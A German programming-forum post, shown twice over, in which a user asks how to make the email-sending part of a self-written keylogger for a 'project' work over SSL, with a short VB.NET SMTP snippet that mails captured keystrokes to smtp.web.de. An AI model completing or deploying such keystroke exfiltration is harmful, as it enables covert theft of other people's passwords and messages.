Hallo an alle Programmier Freunde,
ich arbeite grade im Rahmen meiner Projektarbeit an einem selbst programmierten Keylogger der die aufgezeichneten Tasten, per Timer, dann an eine Mail-Adresse schickt.
Hat bis vor kurzem auch alles perfekt funktioniert bis die ganzen Mailanbieter auf SSL umgestellt haben, wie Ihr höchstwahrscheinlich mitbekommen habt.
Nun funktioniert die ganze Sache nicht mehr.
Ich habe schon Stunden damit verbracht, zu versuchen den Code so umzuschreiben das er per SSL die Mails verschickt aber bei der angegebenen Mail kommt einfach
nichts an.
Hier der Teil des Codes:
Sub Abschicken()
Dim smtpserver As New SmtpClient("smtp.web.de")
Dim email As New MailMessage
email = New MailMessage
email.From = New MailAddress("meineMail")
email.To.Add("meineMail")
email.Subject = "Projektarbeit"
email.Body = erhaltenerText.Text
smtpserver.Credentials = New Net.NetworkCredential("meine Mail", "mein Passwort")
smtpserver.Port = 587
smtpserver.Host = "smtp.web.de"
smtpserver.Send(email)
End Sub
Kann mir bitte jemand helfen und mir erklären wie ich den Code umschreiben muss?
Danke schon mal für jede Hilfe.
MFG
Flo
ich arbeite grade im Rahmen meiner Projektarbeit an einem selbst programmierten Keylogger der die aufgezeichneten Tasten, per Timer, dann an eine Mail-Adresse schickt.
Hat bis vor kurzem auch alles perfekt funktioniert bis die ganzen Mailanbieter auf SSL umgestellt haben, wie Ihr höchstwahrscheinlich mitbekommen habt.
Nun funktioniert die ganze Sache nicht mehr.
Ich habe schon Stunden damit verbracht, zu versuchen den Code so umzuschreiben das er per SSL die Mails verschickt aber bei der angegebenen Mail kommt einfach
nichts an.
Hier der Teil des Codes:
Sub Abschicken()
Dim smtpserver As New SmtpClient("smtp.web.de")
Dim email As New MailMessage
email = New MailMessage
email.From = New MailAddress("meineMail")
email.To.Add("meineMail")
email.Subject = "Projektarbeit"
email.Body = erhaltenerText.Text
smtpserver.Credentials = New Net.NetworkCredential("meine Mail", "mein Passwort")
smtpserver.Port = 587
smtpserver.Host = "smtp.web.de"
smtpserver.Send(email)
End Sub
Kann mir bitte jemand helfen und mir erklären wie ich den Code umschreiben muss?
Danke schon mal für jede Hilfe.
MFG
Flo